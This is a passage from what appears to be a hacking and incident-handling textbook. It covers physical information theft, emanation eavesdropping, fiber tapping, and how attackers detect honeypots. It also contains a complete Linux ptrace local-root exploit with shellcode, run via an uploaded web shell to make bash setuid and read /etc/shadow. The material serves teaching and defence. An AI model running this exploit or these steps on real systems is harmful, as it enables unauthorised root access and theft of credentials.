which may contain data. Sometimes this data can be restored to provide a wealth of

information.

• Papers

• Hard Drives

• Flash Disks

Overt document stealing

Sometimes attackers will simply go into a building and take the information they need.

Frequently when using this strategy, an attacker will masquerade as someone who belongs in

the situation. The thief may pose as a copy room employee, remove a document from

someone's desk, copy the document, replace the original, and leave with the copied document.

Alternatively, the individual may pose as a janitor, systematically collecting information and

"throwing it away." The individual may then be able to walk right out of the building with a trash

bag containing documents that were left out in the open or a sticky note which had been left in

a partially open desk drawer on which a user had written his/her passwords.

CRT vs. LCD vs. LED – Remote Screen Eavesdropping

It is well known for more than three decades now, that CRT screens can be remotely recorded

by intercepting its electro-magnetic remains (electrical emanations). In 2008, researchers at

Saarland University and Max Planck Institute for Software Systems in Germany published the

article: “Compromising Reflections – or – How to Read LCD Monitors around the Corner”. Of

course they were both found to be vulnerable from a relatively high distance.

Modulated optical radiation from LED status indicators appears to be a previously unrecognized

source of compromising emanations. This vulnerability is exploitable at a considerable distance.

Primarily, data communication equipment is affected, although data encryption devices also

Page 215: Hacker techniques, exploit and incident handling

214 | P a g e

pose a high risk of information leakage, potentially leading to loss of plaintext and encryption

keys.

ACM Transactions on Information and System Security, Vol. 5, No. 3, August 2002. Taxonomy of

optical emanations was developed according to the amount of useful information available to

an attacker. Experiments showed that Class III optical emanations, which should never be

permitted, were present in 36% of devices tested, and data could be read from these devices at

a distance of at least 20 m. Countermeasures are possible that will convert a vulnerable Class III

indicator into the safer (but still useful) Class II variety, by means of inserting a pulse stretcher

into the LED driver circuitry.

Theft of information by interception of optical emanations is necessarily limited to one-way—

the intruder can only receive information. However, login IDs and reusable passwords obtained

in this fashion could be used to support a conventional attack. As mentioned before, parity

checking, CRC values, and other error detection and correction features embedded in the data

stream are available to the eavesdropper too, and can be of great benefit in helping to

overcome the effects of a low-quality optical signal. Ironically, it may be the simplest devices

To conclude:

1. Ground and first floor offices are most exposed to these dangers

2. Controlling physical access to the building’s perimeter can deny attackers from

having the 20 meters they need to attack an up-to-date LED screen.

Ethernet vs. Optic Fibers

Copper cable has been known as the easily tapped physical transmission medium for years.

Conscientious network and security managers either provided tight physical security for cabling

or used fiber as an alternative. Many network managers considered fiber relatively safe due to

the perceived challenges associated with tapping into an optical cable run. However, fiber is no

safer than copper.

For less than $1,000, an attacker can purchase the hardware necessary to tap into a fiber run.

The tap consists of bending the fiber to the point that it leaks light. The following is an example

of how this might be accomplished:

Page 216: Hacker techniques, exploit and incident handling

215 | P a g e

The fiber cable to be tapped is placed into a micro-bend clamping device (1). The light pulses

leaking from the cable are detected by the optical photo detector (2) and sent to an optical-

electrical converter (3). The converter changes the light pulses to electrical information that is

placed on an Ethernet cable attached to an attacker's laptop. The laptop, running sniffer

software, provides the attacker with a view into the data traveling through the tapped fiber

cable. Figure B is a photograph of actual tap hardware.

Page 217: Hacker techniques, exploit and incident handling

216 | P a g e

The most obvious way to protect your fiber cables from this type of attack is to prevent physical

access to them. But what happens if all your efforts fail to prevent a bent cable tap?

When cable taps present a higher than acceptable risk, consider encrypting all sensitive data in

transit. Another possible solution is a fiber intrusion detection device. These devices can detect

subtle changes in the characteristics of the light traveling over monitored fiber. These changes

are most prevalent when preparing fiber for a tap. Security personnel monitoring this

information can analyze it for possible attacks against the network.

In summary, there is no cable type that is safe from tapping. It is the responsibility of security

and network management personnel to take the steps necessary to protect data as they move

across internal copper and fiber media. These steps include both physical and technical

solutions.

Page 218: Hacker techniques, exploit and incident handling

217 | P a g e

Linux Hacking - Why Linux?

Linux/Apache privilege escalation

For this example, we shall look at www2.example.com, which is a Linux server running 2.4 kernel and

Apache 1.3.27. As with the previous example, we shall assume that is has already been compromised, and

a file uploader script upload.cgi.

Uploading the UNIX attack tools

For this server, we shall upload a web based command prompt - shell.cgi and another file - ptrace1.c.

ptrace1.c is a privilege escalation exploit based on the Linux Ptrace/Setuid Exec Vulnerability. The exploit

is slightly modified, to adapt it for one-way use. When run successfully, the exploit applies the setuid

permission to /bin/bash, which is owned by the root user. This causes any shell command executed

through /bin/bash, to run with super-user privileges. The web based command prompt, shell.cgi,

internally invokes /bin/bash, and therefore all commands executed via shell.cgi shall run as the root user.

The source code of the modified ptrace exploit is:

ptrace1.c

/* * Linux kernel ptrace/kmod local root exploit * * Should work under all current 2.2.x and 2.4.x kernels. * * I discovered this stupid bug independently on January 25, 2003, that * is (almost) two month before it was fixed and published by Red Hat * and others. * * Wojciech Purczynski <[email protected]> * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY * * (c) 2003 Copyright by iSEC Security Research * * exploit modified for one-way use by Saumil Shah */ #include <grp.h> #include <stdio.h> #include <fcntl.h> #include <errno.h> #include <paths.h> #include <string.h> #include <stdlib.h>

Page 219: Hacker techniques, exploit and incident handling

218 | P a g e

#include <signal.h> #include <unistd.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/param.h> #include <sys/types.h> #include <sys/ptrace.h> #include <sys/socket.h> #include <linux/user.h> char cliphcode[] = "\x90\x90\xeb\x1f\xb8\xb6\x00\x00" "\x00\x5b\x31\xc9\x89\xca\xcd\x80" "\xb8\x0f\x00\x00\x00\xb9\xed\x0d" "\x00\x00\xcd\x80\x89\xd0\x89\xd3" "\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1; pid_t child = 1; pid_t victim = 1; volatile int gotchild = 0; void fatal(char * msg) { perror(msg); kill(parent, SIGKILL); kill(child, SIGKILL); kill(victim, SIGKILL); } void putcode(unsigned long * dst) { char buf[MAXPATHLEN + CODE_SIZE]; unsigned long * src; int i, len; memcpy(buf, cliphcode, CODE_SIZE); len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1); if (len == -1) fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1; buf[len] = '\0'; src = (unsigned long*) buf; for (i = 0; i < len; i += 4) if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1) fatal("[-] Unable to write shellcode"); } void sigchld(int signo)

Page 220: Hacker techniques, exploit and incident handling

219 | P a g e

{ struct user_regs_struct regs; if (gotchild++ == 0) return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1) fatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1) fatal("[-] Unable to detach from victim"); exit(0); } void sigalrm(int signo) { errno = ECANCELED; fatal("[-] Fatal error"); } void do_child(void) { int err; child = getpid(); victim = child + 1; signal(SIGCHLD, sigchld); do err = ptrace(PTRACE_ATTACH, victim, 0, 0); while (err == -1 && errno == ESRCH); if (err == -1) fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim); while (!gotchild) ; if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1) fatal("[-] Unable to setup syscall trace"); fprintf(stderr, "[+] Waiting for signal\n"); for(;;); }

Page 221: Hacker techniques, exploit and incident handling

220 | P a g e

void do_parent(char * progname) { struct stat st; int err; errno = 0; socket(AF_SECURITY, SOCK_STREAM, 1); do { err = stat(progname, &st); } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1) fatal("[-] Unable to stat myself"); alarm(0); system(progname); } void prepare(void) { if (geteuid() == 0) { initgroups("root", 0); setgid(0); setuid(0); // execl(_PATH_BSHELL, _PATH_BSHELL, NULL); // line below is a modification to adapt the exploit // for one-way hacking execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL); fatal("[-] Unable to spawn shell"); } } int main(int argc, char ** argv) { prepare(); signal(SIGALRM, sigalrm); alarm(10); parent = getpid(); child = fork(); victim = child + 1; if (child == -1) fatal("[-] Unable to fork"); if (child == 0) do_child(); else do_parent(argv[0]); return 0; }

Page 222: Hacker techniques, exploit and incident handling

221 | P a g e

The screenshots below show these two files being uploaded on www2.example.com.

We shall now compile ptrace1.c and check if it has been compiled properly. We shall also check our

current privileges. The screenshot below shows the following commands executed via shell.cgi:

gcc -o ptrace1 ptrace1.c

ls –la

id

The privileges extended to shell.cgi are those of the "nobody" user.

Page 223: Hacker techniques, exploit and incident handling

222 | P a g e

ptrace1.c - privilege escalation

The next step is to attempt to execute ptrace1, to see if we can apply the setuid permissions to /bin/bash.

The exploit ptrace1.c internally executes the following command:

/bin/chmod 4755 /bin/bash

The screenshot below shows ptrace1 being executed and the file listing for /bin/bash:

Sure enough, the /bin/bash binary has the setuid permission applied to it.

The next screenshot shows two commands being executed:

Id

cat /etc/shadow

Notice that the effective uid (euid) of the shell.cgi process is 0, which is that of the root user. The fact that

we were able to view the contents of the /etc/shadow file proves that the privileges have been escalated.

We now have full super-user control of www2.example.com

Page 224: Hacker techniques, exploit and incident handling

223 | P a g e

Evading IDS, Firewalls and Detecting Honey Pots Introduction to

Intrusion

Introduction

To learn about attack patterns and attacker behavior, the concept of electronic decoys or honeypots are often used. These look like regular network resources (computers, routers, switches, etc.) that are deployed to be probed, attacked, and compromised. This electronic bait lures in attackers and helps with the assessment of vulnerabilities. As honeypots are being deployed more and more often within computer networks, blackhats have started to devise techniques to detect, circumvent, and disable the logging mechanisms used on honeypots.

In this section we will learn how an attacker typically proceeds as he attacks a honeypot for fun and profit. We will introduce several publicly known (or perhaps unknown) techniques and present some diverse tools which help blackhats to discover and interact with honeypots. The article aims to show those security teams and practitioners who would like to setup or harden their own lines of deception-based defense what the limitation of honeypot-based research currently is. After a brief theoretical introduction, we present several technical examples of different methodologies.

Honeypots versus steganography

Before going any further, let us talk briefly about steganography. Its goal is to hide the existence of a communication channel to anyone but the intended recipient of a message. As an art and science, it came to the forefront a few years ago when Simmons introduced his classic prisoner’s problem. Assume two prisoners are jailed in different cells. A warden has been authorized to carry messages from the one to the other. If the messages are ciphered -- which means the warden cannot understand the content of the message -- he will become suspicious, and the communication channel will be stopped. But if the prisoners have agreed on a code (for instance, a red sun on a painting is a code to mean something, while a yellow sun means something else), the message will not be noticed by the warden, and the prisoners will have the chance to covertly plot their escape.

When we configure a high interaction honeypot, we hope to capture a great deal of information about the attacker's activity. Even if he notices he is on a honeypot, learning how he noticed it to be a fake system is still valuable information. So, honeypots do need to be covert, but not necessarily completely covert.

Steganography and honeypots share some characteristics: mainly, that once you are discovered, the game is almost over. Also, in both steganography and honeypots you have to hide the presence of something as best you can. But there are always signs that you leave that inevitably allow for detection. For example, let's use our analogy with the warden again. He may examine the image he's carrying, and if he looks closely he will notice differences between several pictures, and perhaps become suspicious. For honeypots, the situation is comparable: if an attacker carefully watches for signs of deception, he will sooner or later find some.

Page 225: Hacker techniques, exploit and incident handling

224 | P a g e

Since honeypots are being deployed all across the Internet, more and more blackhats' tools are starting to include automatic detection of suspect environments. This has already begun with the backdoor-virus-worm known as AgoBot (also known as Gaobot).

Let's start with some technical examples that show some of the different techniques that attackers can use to detect honeypots.

Tools

Many tools are available for building a high interaction honeypot. We will focus some of the most known, and help show you the inside of the matrix.

User Mode Linux (UML)

Some people have tried to used UML as a honeypot, but in order to gauge its effectiveness, we need to first recall what UML is. Basically, UML is a way to have a Linux system running inside another Linux system. We will call the initial Linux kernel the host kernel (or host OS), while the one started by the command Linux will be called the guest OS. It runs "above" the host kernel, all in user-land. Note that UML is only a hacked kernel that is able to run in user-land. Thus, you have to provide the filesystem containing your preferred Linux distribution.

By default, UML executes in TT (Tracing Thread) mode. One main thread will ptrace() each new process that is started in the guest OS. On the host OS, you can see this tracing with the help of ps:

host$ ps a [...] 1039 pts/6 S 0:00 linux [(tracing thread)] 1044 pts/6 S 0:00 linux [(kernel thread)] 1049 pts/6 S 0:00 linux [(kernel thread)] 1051 pts/6 S 0:00 linux [(kernel thread)] 1053 pts/6 S 0:00 linux [(kernel thread)] 1055 pts/6 S 0:00 linux [(kernel thread)] 1057 pts/6 S 0:00 linux [(kernel thread)] 1059 pts/6 S 0:00 linux [(kernel thread)] 1061 pts/6 S 0:00 linux [(kernel thread)] 1063 pts/6 S 0:00 linux [(kernel thread)] 1064 pts/6 S 0:00 linux [(kernel thread)] 1065 pts/6 S 0:00 linux [(kernel thread)] 1066 pts/6 S 0:00 linux [(kernel thread)] 1068 pts/6 S 0:00 linux [/sbin/init] 1268 pts/6 S 0:00 linux [ile] 1272 pts/6 S 0:00 linux [/bin/sh] 1348 pts/6 S 0:00 linux [dd] [...]

You can identify the main thread (PID 1039) and several threads which are ptrace()d: several

Page 226: Hacker techniques, exploit and incident handling

225 | P a g e

kernel threads (PID 1044 -- 1066), init (PID 1068), ile (PID 1268), a shell (PID 1272), and dd (PID 1348).

We quickly discover that when used "by default," UML is not designed to be hidden:

uml$ dmesg Linux version 2.6.10-rc2 ([email protected]) (gcc version 3.3.2 20031022 (Red Hat Linux 3.3.2-1)) #1 Tue Nov 16 01:43:27 EST 2004 On node 0 total pages: 8192 ... Kernel command line: ubd0=/home/raynal/MISC/uml/FS/debian.ext3 eth0=tuntap,tap0 root=98:0 PID hash table entries: 256 (order: 8, 4096 bytes) Dentry cache hash table entries: 8192 (order: 3, 32768 bytes) ... Checking that ptrace can change system call numbers...OK Checking syscall emulation patch for ptrace...missing Checking that host ptys support output SIGIO...Yes Checking that host ptys support SIGIO on close...No, enabling workaround Checking for /dev/anon on the host...Not available (open failed with errno 2) NET: Registered protocol family 16 mconsole (version 2) initialized on /home/raynal/.uml/Es5BHO/mconsole UML Audio Relay (host dsp = /dev/sound/dsp, host mixer = /dev/sound/mixer) Netdevice 0 : TUN/TAP backend - divert: allocating divert_blk for eth0 VFS: Disk quotas dquot_6.5.1 Dquot-cache hash table entries: 1024 (order 0, 4096 bytes) Coda Kernel/Venus communications, v6.0.0, [email protected] devfs: 2004-01-31 Richard Gooch ([email protected]) ... Initializing software serial port version 1 /dev/ubd/disc0: unknown partition table Initializing stdio console driver ...

The red lines are ones specific to UML in its default mode. Also note that the network device 0 uses a TUN/TAP (blue line) which is not that common on a real system.

One of the big issues with UML is that it does not use a real hard disk; it uses a fake IDE device called ubd*. If you take a look at the /etc/fstab, execute the command mount, or check the directory /dev/ubd/, you will notice that you are inside a UML system. To hide that information, it is possible to start UML with the options fake_ide and fakehd. But don't forget that what you read may not, in fact, be true: have a look at the UML's root device ubd to see that it is 98 (0x62).

UML can also be easily identified by taking a look at the /proc tree. Most of the entries in this

Page 227: Hacker techniques, exploit and incident handling

226 | P a g e

directory will show signs of UML if you just take a closer look:

$ cat /proc/cpuinfo processor : 0 vendor_id : User Mode Linux model name : UML mode : tt [...] $ cat /proc/devices [...] Block devices: [...] 60 cow 90 ubd $ cat /proc/filesystems [...] nodev hostfs $ egrep -i "uml|honey" /proc/ksysms a02eb408 uml_physmem a02ed688 honeypot

In addition, the entries iomen, ioports, interrupts, and many others look suspicious. To counter this way of fingerprinting UML, you can use hppfs (Honeypot procfs) and customize the entries in the /proc hierarchy.

Another place to look for UML at is the address space of a process. On the host OS, the address space looks as follows:

host$ cat /proc/self/maps 08048000-0804c000 r-xp 00000000 03:01 1058722 /bin/cat 0804c000-0804d000 rw-p 00003000 03:01 1058722 /bin/cat 0804d000-0806e000 rw-p 0804d000 00:00 0 b7ca9000-b7ea9000 r--p 00000000 03:01 171 /usr/lib/locale/locale-archive b7ea9000-b7eaa000 rw-p b7ea9000 00:00 0 b7eaa000-b7fd3000 r-xp 00000000 03:01 781848 /lib/tls/i686/cmov/libc-2.3.2.so b7fd3000-b7fdb000 rw-p 00129000 03:01 781848 /lib/tls/i686/cmov/libc-2.3.2.so b7fdb000-b7fde000 rw-p b7fdb000 00:00 0 b7fe9000-b7fea000 rw-p b7fe9000 00:00 0 b7fea000-b8000000 r-xp 00000000 03:01 782112 /lib/ld-2.3.2.so b8000000-b8001000 rw-p 00015000 03:01 782112 /lib/ld-2.3.2.so bfffe000-c0000000 rw-p bfffe000 00:00 0 ffffe000-fffff000 ---p 00000000 00:00 0

Page 228: Hacker techniques, exploit and incident handling

227 | P a g e

In contrast, the address space inside the guest OS looks like this:

uml:~# cat /proc/self/maps 08048000-0804c000 r-xp 00000000 62:00 9957 /bin/cat 0804c000-0804d000 rw-p 00003000 62:00 9957 /bin/cat 0804d000-0806e000 rw-p 0804d000 00:00 0 40000000-40016000 r-xp 00000000 62:00 13907 /lib/ld-2.3.2.so 40016000-40017000 rw-p 00015000 62:00 13907 /lib/ld-2.3.2.so 40017000-40018000 rw-p 40017000 00:00 0 4001b000-4014b000 r-xp 00000000 62:00 21846 /lib/tls/libc-2.3.2.so 4014b000-40154000 rw-p 0012f000 62:00 21846 /lib/tls/libc-2.3.2.so 40154000-40156000 rw-p 40154000 00:00 0 9ffff000-a0000000 rw-p 9ffff000 00:00 0 beffe000-befff000 ---p 00000000 00:00 0

What one should notice, and what is not that common, is the topmost address which indicates the end of the stack (forget about the mapping of the dynamic libraries). Depending on the amount of memory available on your host, it is usually 0xc0000000. However, on the UML, we have 0xbefff000. In fact, the address space between 0xbefff000 and 0xc0000000 on a UML contains the mapping of the UML kernel. This means that each process can access, change, or do whatever it wants with the UML kernel.

To fix most of these problems, you can start UML either with the argument honeypot or with the skas mode (Separate Kernel Address Space). However, having skas mode running is not that easy to do, and the host kernel is really not stable when it is (pending processes, and so on, lead to reboots).

VMware

VMware is a very efficient virtual machine which provides a virtual x86 system. Thus, you can install (almost) any Operating System you want, from Linux or Windows to Solaris 10.

The first step to detect a VMware is to look at the hardware that it is supposed to emulate. Prior to version 4.5, there were some specific pieces of hardware that are not configurable:

• the video card: VMware Inc [VMware SVGA II] PCI Display Adapter, • the network card: Advanced Micro Devices [AMD] 79c970 [PCnet 32 LANCE] (rev 10), • The name of IDE and SCSI devices: VMware Virtual IDE Hard Drive, NECVMWar VMware

IDE CDR10, VMware SCSI Controller.

It is possible to patch the VMware binary to change these default values, however. Kostya Kortchinsky from the French Honeynet Project has written such a patch, which is able to set these values to some other values. This patch is publicly available.

Furthermore, the VMware binary also has an I/O backdoor. This backdoor is used to configure

Page 229: Hacker techniques, exploit and incident handling

228 | P a g e

VMware during runtime. The following sequence is used to call the backdoor functions:

MOV EAX, 564D5868h ; Magic Number MOV EBX, COMMAND_SPECIFIC_PARAMETER MOV ECX, BACKDOOR_COMMAND_NUMBER MOV DX, 5658h ; Port Number IN EAX, DX

At first, register EAX is loaded with a magic number that is used to "authenticate" the backdoor commands. Register EBX stores parameters for the commands. In register ECX the command itself is loaded. The following table gives an overview of some possible commands:

Command

Number Description

00h..03h ?

04h Get current mouse cursor position.

05h Set current mouse cursor position.

06h Get data length in host's clipboard.

07h Read data from host's clipboard.

08h Set data length to send to host's clipboard.

09h Send data to host's clipboard.

0Ah Get VMware version.

0Bh Get device information.

In total, there are at least 15 implemented commands.

Register DX stores the I/O backdoor port, and with the help of the IN instruction, the backdoor command finally gets executed. It is clear that with the help of the VMware I/O backdoor it is possible to interfere with a running VMware.

With the help of Kostya Kortchinsky's patch, you can change the magic number and thus "hide" the backdoor from an attacker. More information about the backdoor in VMware is also

Page 230: Hacker techniques, exploit and incident handling

229 | P a g e

available.

Detecting additional lines of defense: chroot and jails

chroot() was never designed for security, but it is considered to be a necessity when one wants to protect a sensitive server. Detecting that you are in a chroot environment, or even circumventing it, is not really that difficult.

Unless the chroot directory is on a specific partition, and placed at the top of it, the inode numbers are not those expected of a real root directory:

# ls -ial / 2 drwxr-xr-x 24 root root 4096 2004-11-30 08:14 . 2 drwxr-xr-x 24 root root 4096 2004-11-30 08:14 .. ...

Here, the directories inodes of . and .. are the same, and are equal to 2 (which is the normal value for a root directory on a partition). In the current directory, we have:

# ls -ail . 1553552 drwxr-xr-x 6 raynal users 4096 2004-12-14 13:58 . 6657574 drwxr-xr-x 6 raynal raynal 4096 2004-12-12 16:25 ..

Then, when we chroot a shell in the current directory, we retrieve the same inodes numbers:

# chroot . /bin/busybox BusyBox v0.60.5 (2004.10.29-22:08+0000) multi-call binary # ls -ial 1553552 drwxr-xr-x 6 1000 100 4096 Dec 14 12:58 . 1553552 drwxr-xr-x 6 1000 100 4096 Dec 14 12:58 ..

While the .. has been changed to match the . directory, it is still not the expected value.

Note that there is much more to do in a chroot. For instance, you can send signals to any process outside the chroot(), or even attach to outside processes with ptrace(). Since ptrace() can be executed from inside the chroot on any process that is outside the chroot(), the attacker has an easy way to inject whatever he wants on the host. Such evasions are also possible through mount(), fchdir(), sysctl() and so many others.

When we think about virtual environments and security, it's pretty clear that chroot() is definitely not something to rely upon. Another option to enforce confinement provided by FreeBSD, which is based on chroot() but is more reliable, is the jail(). A jail() let you create a virtual host, bound to an IP address, with its own tools, users, and more. It is very convenient for virtual hosting, and it could be used for honeypots too.

However, even though FreeBSD's jail() is more reliable, it is not really much more covert. There

Page 231: Hacker techniques, exploit and incident handling

230 | P a g e

are several tests one can perform to detect if you are in a jail:

• All processes in a jail have a specific 'J' flag, as shown below:

jail# ps PID TT STAT TIME COMMAND 6908 p0 SJ 0:00.02 /bin/sh 6910 p0 R+J 0:00.00 ps

• You can also have a look at the PIDs as they do not increase in the usual way. • The inode number of the root directory is not 2 as expected. • By default, raw sockets are forbidden as you can see:

jail# ping -c 3 miscmag.com ping: socket: Operation not permitted

• Note that it is now configurable in the latest version of FreeBSD. • Sniffing in a jail gives access to all the traffic that comes through the device. This is

normal since a jail is usually built as an alias on a real device. • There are surely more ...

In this section, we focused on detecting if we were in a confined environment with chroot() and jail(). However, are these really even issues for a hacker inside a honeypot? Learning that we are on a "restricted host" is not all that important anymore, as such systems are spreading all across the Internet. The real issue here deals with the leaking of security from the guest to the host. And currently, there are very few (if any) systems out there that have proved to be well enough confined.

It is a difficult problem to deploy honeypots, technology used to track hackers that cannot be

detected. The value of a honeypot is in its ability to remain undetected. In part one of these

articles we introduced some of the issues related to discovering and fingerprinting honeypots,

and then we discussed a few examples such as tarpits and virtual machines. Now we'll continue

the discussion with more practical examples for detecting honeypots, including Sebek-based

honeypots, snort_inline, Fake AP, and Bait and Switch honeypots.

Practical examples (continued)

Sebek-based Honeypots

Sebek is client/server based application, and it is the primary data capture tool used by

honeynet researchers to capture the activities of an attacker found inside a honeypot. It is a

kernel-based rootkit that hijacks the read() system call and it is therefore able to record all data

accessed via read(). Sebek lives entirely in kernel-space and has access to all data read, so it is

able to access most communication unencrypted. It can, for example, log SSH-sessions, recover

files copied with SCP and record all passwords used by intruders. The recorded data is sent in a

covert manner via UDP to the Sebek server, the other part of Sebek's client/server architecture.

This transmission is done by modifying the kernel in order to hide these outgoing packets such

Page 232: Hacker techniques, exploit and incident handling

231 | P a g e

that an intruder cannot see them. In addition, all network counters and data structures have to

be adapted in order to make detecting these changes more difficult. Further information about

Sebek and its architecture can be found on the Honeynet site.

It is possible to detect the presence of Sebek by using the network layer, however. Because

Sebek records everything which is accessed via read() and then sends this data over the

network, some congestion effects will be visible if we read lots of data coming out of the

system. When we read a single byte via a read(1) call, Sebek has to transfer nearly 100 bytes of

data, including all the network headers, over the network to the host doing the logging. So if we

are able to do a read(1) some tens of thousands of times per second, this will lead to a

congested network and finally to dropped packets.

We are able to generate many read(1) calls with the help of the dd command:

user@honey:~ dd if=/dev/zero of=/dev/null bs=1

And we are able to identify a congested network with the help of the ping command, as outlined

below.

We first ping a local IP-address (for example, the gateway) in order to get an overview of the

current congestion of the network. Then dd is started in the background and we run the ping

command again. If Sebek is installed on a host, this leads to a significant increase in the average

round-trip time. In practical tests, the average round-trip time grew from 0.7 milliseconds to

over 4800 milliseconds.

There are also further methods to detect and circumvent the presence of Sebek if we use layers

than the network layer. These attacks and further techniques will be covered in another article.

Snort_inline

Snort_inline is an inline packet modification engine, and it provides for packet rewriting of what

looks like something dangerous into something harmless. It is basically a modified version of the

popular Intrusion Detection System (IDS) Snort and adds several new rule types (drop, sdrop and

reject) to tell iptables whether a packet should be dropped, rejected, modified, or allowed to

pass based on a Snort rule set.

An example for this technique is the replacement of the string /bin/sh in shellcode with the

string /ben/sh. Another example is the replacement of certain characteristic patterns in network

traffic in order to render these attacks useless, as shown in the following listing which modifies

x86-shellcode:

alert ip $HONEYNET any -> $EXTERNAL_NET any (msg:"SHELLCODE x86 stealth NOOP"; sid:651; content:"|EB 02 EB 02 EB 02|"; replace:"|24 00 99 DE 6C 3E|";)

This kind of Intrusion Prevention System (IPS) is used in GenII (2nd generation) Honeynets in

order to identify and block known attacks. Snort_inline is also necessary because it hampers the

possibility of an attacker bouncing from a compromised honeypot to attack further systems. So

Snort_inline also adds some safety from a legal point of view.

Page 233: Hacker techniques, exploit and incident handling

232 | P a g e

But the dropping or modification of outgoing packets leads to an easy way for attackers to spot

the presence of Snort_inline: If outgoing packets are dropped, that might look suspicious for an

attacker, like a kind of black hole. If outgoing packets are modified, this will be detected by a

sophisticated attacker. She will send packets with malicious content to another host which she

controls and check whether the packet arrives at the destination in unaltered form (albeit with

some small things changed, like a decremented Time To Live). If the content of the packet

differs, she will probably conclude that this is a bit fishy. The stealthiness of Snort_inline can be

increased with fewer rules, but this leads to more attacks that will not be noticed. A trade-off

between stealthiness and safety has to be found.

Moreover, GenII Linux Honeynets typically use the netfilter/iptables-functionality of the kernel

to implement connection limiting. This prevents the abuse of a compromised honeypot for

denial-of-service attacks or mass scanning and nevertheless allows an attacker to download

toolkits or setup automated bots. As an example, the default configuration of the rc.firewall

script provided by the Honeynet Project allows 15 outgoing TCP-connections and 50 outgoing

ICMP packets per day.

[...] ### Set the connection outbound limits for different protocols. SCALE="day" TCPRATE="15" UDPRATE="20" ICMPRATE="50" OTHERRATE="15" [...]

This connection limiting also leads to a problem with the secrecy of a honeypot: an aggressor

can simply try to open many outgoing connections to different hosts or send a lot of ICMP echo

request packets to varying hosts. If she notices that after some time no more outgoing packets

can reach the target, then this is a clear sign that something weird is going on and that she

probably fell for a honeypot. Again, a trade-off between stealthiness and safety has to be found.

If you allow more outgoing packets, the detection will be harder, but an attacker has more ways

to abuse the honeypot.

Fake AP

Fake Access Point is a Perl-script that generates bogus 802.11b beacon frames with random

ESSID and BSSID (MAC-address) assignments. It sends these frames on a random channel and is

also able to simulate the wired equivalent privacy (WEP) protocol. A normal access point will

"hide in sight amongst Fake AP's cacophony of beacon frames" and therefore this kind of tool

can also be used as a wireless honeypot: just deploy one Linux machine running Fake AP near

your wireless network and watch for any suspicious traffic. Legitimate users will know the SSID

of the network and can connect without problems. Malicious users will try to connect to your

network with different SSIDs and can thus be spotted easily.

In its current version, Fake AP does not generate fake traffic on one of the simulated access

points and hence there is an easy way to detect the presence of Fake AP: This tool only sends

beacon frames and also does not send any real traffic. So an attacker can just monitor the

network traffic and easily notice the presence of Fake AP.

Bait and Switch Honeypots

Traditionally, information security follows the classical security paradigm of "Protect, Detect and

React". In other words, try to protect the network as best as possible (such as by using firewalls),

detect any failures in the defense (with intrusion detection systems), and then react to those

Page 234: Hacker techniques, exploit and incident handling

233 | P a g e

failures (perhaps by alerting the admin via mail). The problem with this approach is that the

attacker has the initiative, and she is always one step ahead. The Bait and Switch Honeypot is an

attempt to turn honeypots into active participants in system defense. It helps to react faster on

threats. To achieve this goal, the Bait and Switch Honeypot redirects all malicious network traffic

to a honeypot after a hostile intrusion attempt has been observed. This honeypot is partially

mirroring the production system and therefore the attacker is unknowingly attacking a trap

instead of real data. Thus the legitimate users can still access all data and work on the real

systems, but the attacker is lured away from all interesting systems. As an additional benefit, the

actions of the aggressor can be observed and then his tools, tactics and motives can be studied.

A Bait and Switch Honeypot is based on Snort, iproute2, netfilter/iptables, and some custom

code.

An attacker might detect the presence of a Bait and Switch Honeypot by looking at specific

TCP/IP values like the Round-Trip Time (RTT), the Time To Live (TTL), the TCP timestamp, and

others. After a switch event, the attacker will stop talking to the real computer, and will start to

interact with the honeypots. During the switch from the real system to the honeypot, a sudden

change in the IPID can be observed. Previous TCP/IP values will also probably change after the

switching has taken place and this can be observed by a sophisticated attacker.

Once again, tcpdump and friends are valuable tools for attackers to gather information about

what is going on. Furthermore, the honeypot will probably differ noticeably from the real

system. The attacker will presumably try to find a way to identify the honeypot by looking at

specific differences that might exist between the real system and the honeypot. Notice that

some attackers will use multiple IP addresses as sources of their attacks, in order to defeat such

kinds of IPS. For example, if the shellcode of the attacker is a reverse shell that connects back to

an IP source which is different from the IP that sent the exploit, the IPS will not be able to

change anything. The modus operandi will differ with every deployment of a Bait and Switch

Honeypot, and so the operator of this kind of honeypot has to take great care in the setup

process.

Summary

It is clearly a difficult problem to deploy honeypots in a very stealthy manner -- and the

effectiveness of honeypot technology exists only if an attacker does not know that she is

attacking a trap and not a real system. The operator of a honeypot therefore must be aware of

many of the possibilities for attackers to identify honeypots. As outlined in the previous

sections, and in part one of this article, there are many ways to detect the presence of a

honeypot if an attacker simply looks at the network layer.

In this article series we explained how attackers often behave when they try to identify

honeypots, and we gave some technical examples of some different methods. We hope that this

helps security specialists who want to setup and use honeypots. It is important that the

operator of a honeypot customizes and adapts it to his own needs. For example, the MAC

address (in case of Labrea or User-mode Linux) or error messages should be customized. In

order to be a step ahead of attackers, the coders of honeypot software must also continually

update and change their programs to avoid detection -- the arms-race between whitehats and

Page 235: Hacker techniques, exploit and incident handling

234 | P a g e

blackhats has begun.

Note that there are even commercial tools such as Honeypot Hunter that use anti-honeypot

technology. Honeypot Hunter checks with lists of HTTPS and SOCKS4/SOCKS5 proxies for

honeypots, and it is used by spammers in order to detect the presence of tarpits or other kinds

of honeypots/proxies. Honeypot hunter works by opening a local (fake) mail server on port 25

(SMTP) and connects back to itself through the proxy. A honeypot is detected if the proxy

reports that the connection is up but the tool does not receive a connection to this simulated

mail server. This approach identifies most invalid proxies and honeypots and the approach is
